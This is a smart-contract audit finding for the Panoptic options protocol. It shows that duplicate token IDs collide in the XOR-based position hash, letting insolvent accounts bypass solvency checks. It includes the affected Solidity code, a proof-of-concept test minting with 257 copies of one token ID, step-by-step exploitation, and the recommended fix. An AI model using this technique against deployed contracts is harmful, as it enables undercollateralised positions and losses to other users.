_validatePositionList() does not check for duplicate tokenIds, allowing attackers to bypass solvency checks
The position list validation did not check for duplicate token IDs, allowing an attacker to repeat a single position many times and make an insolvent account appear solvent. This let users mint, burn, liquidate, or force-exercise options while insolvent, bypassing the protocol's solvency checks.
Submitted by pkqs90, also found by Udsen, 0xLogos, and bin2chen
https://github.com/code-423n4/2024-04-panoptic/blob/main/contracts/PanopticPool.sol#L1367-L1391
https://github.com/code-423n4/2024-04-panoptic/blob/main/contracts/PanopticPool.sol#L887-L893
Impact
The underlying issue is that _validatePositionList() does not check for duplicate tokenIds. Attackers can use this issue to bypass solvency checks, which leads to several impacts:
- Users can mint/burn/liquidate/forceExercise when they are insolvent.
- Users can settleLongPremium/forceExercise another user when the other user is insolvent.
This also conflicts a main invariant stated in audit readme: Users should not be allowed to mint/burn options or pay premium if their end state is insolvent.
Bug Description
First, let’s see why _validatePositionList does not check for duplicate tokenIds. For a user position hash, the first 8 bits is the length of tokenIds which overflows, last 248 bits is the xor hash. However, we can easily add 256 tokenIds of the same kind to create a duplicate positionHash.
For example: Hash(key0, key1, key2) == Hash(key0, key1, key2, key0, key0, ..., 256 more key0). This way, we can add any tokenId we want while still arriving the same position hash.
PanopticPool.sol
function _validatePositionList(
address account,
TokenId[] calldata positionIdList,
uint256 offset
) internal view {
uint256 pLength;
uint256 currentHash = s_positionsHash[account];
unchecked {
pLength = positionIdList.length - offset;
}
// note that if pLength == 0 even if a user has existing position(s) the below will fail b/c the fingerprints will mismatch
// Check that position hash (the fingerprint of option positions) matches the one stored for the '_account'
uint256 fingerprintIncomingList;
for (uint256 i = 0; i < pLength; ) {
> fingerprintIncomingList = PanopticMath.updatePositionsHash(
fingerprintIncomingList,
positionIdList[i],
ADD
);
unchecked {
++i;
}
}
// revert if fingerprint for provided '_positionIdList' does not match the one stored for the '_account'
if (fingerprintIncomingList != currentHash) revert Errors.InputListFail();
}
PanopticMath.sol
function updatePositionsHash(
uint256 existingHash,
TokenId tokenId,
bool addFlag
) internal pure returns (uint256) {
// add the XOR`ed hash of the single option position `tokenId` to the `existingHash`
// @dev 0 ^ x = x
unchecked {
// update hash by taking the XOR of the new tokenId
uint248 updatedHash = uint248(existingHash) ^
(uint248(uint256(keccak256(abi.encode(tokenId)))));
// increment the top 8 bit if addflag=true, decrement otherwise
return
addFlag
? uint256(updatedHash) + (((existingHash >> 248) + 1) << 248)
: uint256(updatedHash) + (((existingHash >> 248) - 1) << 248);
}
}
Then, let’s see how duplicate ids can bypass solvency check. The solvency check is in _validateSolvency(), which is called by all the user interaction functions, such as mint/burn/liquidate/forceExercise/settleLongPremium. This function first checks for a user passed in positionIdList (which we already proved can include duplicates), then calls _checkSolvencyAtTick() to calculate the balanceCross (collateral balance) and thresholdCross (required collateral) for all tokens.
The key is the collateral balance includes the premium that is collected for each of the positions. For most of the positions, the collected premium should be less than required collateral to keep this position open. However, if a position has been open for a long enough time, the fees it accumulated may be larger than required collateral.
For this kind of position, we can duplicate it 256 times (or multiple of 256 times, as long as gas fee is enough), and make our collateral balance grow faster than required collateral. This can make a insolvent account “solvent”, by duplicating the key tokenId multiple times.
function _validateSolvency(
address user,
TokenId[] calldata positionIdList,
uint256 buffer
) internal view returns (uint256 medianData) {
// check that the provided positionIdList matches the positions in memory
> _validatePositionList(user, positionIdList, 0);
...
// Check the user's solvency at the fast tick; revert if not solvent
bool solventAtFast = _checkSolvencyAtTick(
user,
positionIdList,
currentTick,
fastOracleTick,
buffer
);
if (!solventAtFast) revert Errors.NotEnoughCollateral();
// If one of the ticks is too stale, we fall back to the more conservative tick, i.e, the user must be solvent at both the fast and slow oracle ticks.
if (Math.abs(int256(fastOracleTick) - slowOracleTick) > MAX_SLOW_FAST_DELTA)
if (!_checkSolvencyAtTick(user, positionIdList, currentTick, slowOracleTick, buffer))
revert Errors.NotEnoughCollateral();
}
function _checkSolvencyAtTick(
address account,
TokenId[] calldata positionIdList,
int24 currentTick,
int24 atTick,
uint256 buffer
) internal view returns (bool) {
(
LeftRightSigned portfolioPremium,
uint256[2][] memory positionBalanceArray
) = _calculateAccumulatedPremia(
account,
positionIdList,
COMPUTE_ALL_PREMIA,
ONLY_AVAILABLE_PREMIUM,
currentTick
);
LeftRightUnsigned tokenData0 = s_collateralToken0.getAccountMarginDetails(
account,
atTick,
positionBalanceArray,
portfolioPremium.rightSlot()
);
LeftRightUnsigned tokenData1 = s_collateralToken1.getAccountMarginDetails(
account,
atTick,
positionBalanceArray,
portfolioPremium.leftSlot()
);
(uint256 balanceCross, uint256 thresholdCross) = _getSolvencyBalances(
tokenData0,
tokenData1,
Math.getSqrtRatioAtTick(atTick)
);
// compare balance and required tokens, can use unsafe div because denominator is always nonzero
unchecked {
return balanceCross >= Math.unsafeDivRoundingUp(thresholdCross * buffer, 10_000);
}
}
CollateralTracker.sol
function getAccountMarginDetails(
address user,
int24 currentTick,
uint256[2][] memory positionBalanceArray,
int128 premiumAllPositions
) public view returns (LeftRightUnsigned tokenData) {
tokenData = _getAccountMargin(user, currentTick, positionBalanceArray, premiumAllPositions);
}
function _getAccountMargin(
address user,
int24 atTick,
uint256[2][] memory positionBalanceArray,
int128 premiumAllPositions
) internal view returns (LeftRightUnsigned tokenData) {
uint256 tokenRequired;
// if the account has active options, compute the required collateral to keep account in good health
if (positionBalanceArray.length > 0) {
// get all collateral required for the incoming list of positions
tokenRequired = _getTotalRequiredCollateral(atTick, positionBalanceArray);
// If premium is negative (ie. user has to pay for their purchased options), add this long premium to the token requirement
if (premiumAllPositions < 0) {
unchecked {
tokenRequired += uint128(-premiumAllPositions);
}
}
}
// if premium is positive (ie. user will receive funds due to selling options), add this premum to the user's balance
uint256 netBalance = convertToAssets(balanceOf[user]);
if (premiumAllPositions > 0) {
unchecked {
netBalance += uint256(uint128(premiumAllPositions));
}
}
// store assetBalance and tokens required in tokenData variable
tokenData = tokenData.toRightSlot(netBalance.toUint128()).toLeftSlot(
tokenRequired.toUint128()
);
return tokenData;
}
Now we have shown how to bypass the _validateSolvency(), we can bypass all related checks. Listing them here:
Proof of Concept
In this report, we will only prove the core issue: duplicate tokenIds are allowed, and won’t craft complicated scenarios for relevant impacts.
Add the following test code in PanopticPool.t.sol, we can see that passing 257 of the same token ids can still work for mintOptions().
function test_duplicatePositionHash(
uint256 x,
uint256[2] memory widthSeeds,
int256[2] memory strikeSeeds,
uint256[2] memory positionSizeSeeds,
uint256 swapSizeSeed
) public {
_initPool(x);
(int24 width, int24 strike) = PositionUtils.getOTMSW(
widthSeeds[0],
strikeSeeds[0],
uint24(tickSpacing),
currentTick,
0
);
(int24 width2, int24 strike2) = PositionUtils.getOTMSW(
widthSeeds[1],
strikeSeeds[1],
uint24(tickSpacing),
currentTick,
0
);
vm.assume(width2 != width || strike2 != strike);
populatePositionData([width, width2], [strike, strike2], positionSizeSeeds);
// leg 1
TokenId tokenId = TokenId.wrap(0).addPoolId(poolId).addLeg(
0, 1, isWETH, 0, 0, 0, strike, width
);
TokenId[] memory posIdList = new TokenId[](257);
for (uint i = 0; i < 257; ++i) {
posIdList[i] = tokenId;
}
pp.mintOptions(posIdList, positionSizes[0], 0, 0, 0);
}
Recommended Mitigation Steps
Add a check in _validatePositionList that the length is shorter than MAX_POSITIONS (32).
Assessed type
Invalid Validation
Picodes (judge) decreased severity to Medium and commented:
I don’t think here “liquidation bots not liquidating the insolvent position during a period of time” is an external requirement considering how critical liquidations are to Panoptic. My reasoning is that even if the loss of funds is not “direct”, being able to properly control when positions can be opened is a key feature, and the fact that you can “increase your leverage” while being insolvent prevents proper risk control.
However, it’s true that this is not strictly speaking a scenario where “assets can be stolen/lost/compromised directly” so I’ll downgrade to Med.
Note: for full discussion, please see the original submission.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the position list validation only compared a hash that did not enforce uniqueness or a maximum length, so duplicate token IDs could be included without detection.
Impact
Users could mint, burn, liquidate, or force-exercise options while insolvent, and could settle or force-exercise another user's position when that user was insolvent, undermining the protocol's risk controls.
What the attacker needed
A position with accumulated premium exceeding required…; sufficient gas to submit a long position list
The fix
The recommendation was to add a check in _validatePositionList that the list length is shorter than MAX_POSITIONS (32).
How it was found
- Create a position that has accumulated enough premium to exceed its required collateral.
- Build a position ID list containing 256 copies of that same token ID (or a multiple of 256).
- Call a function such as mintOptions with the duplicated list; the position hash matches the stored hash and the solvency check passes.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract kept track of a user's open positions using a fingerprint (a hash) of the list of position IDs. Because the fingerprint only counted the number of positions in its top bits and XORed the rest, adding 256 copies of the same position ID produced the same fingerprint. The contract then calculated collateral using the duplicated list, so a position that had accumulated enough fees could be repeated to inflate the user's balance and make them look solvent when they were not.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.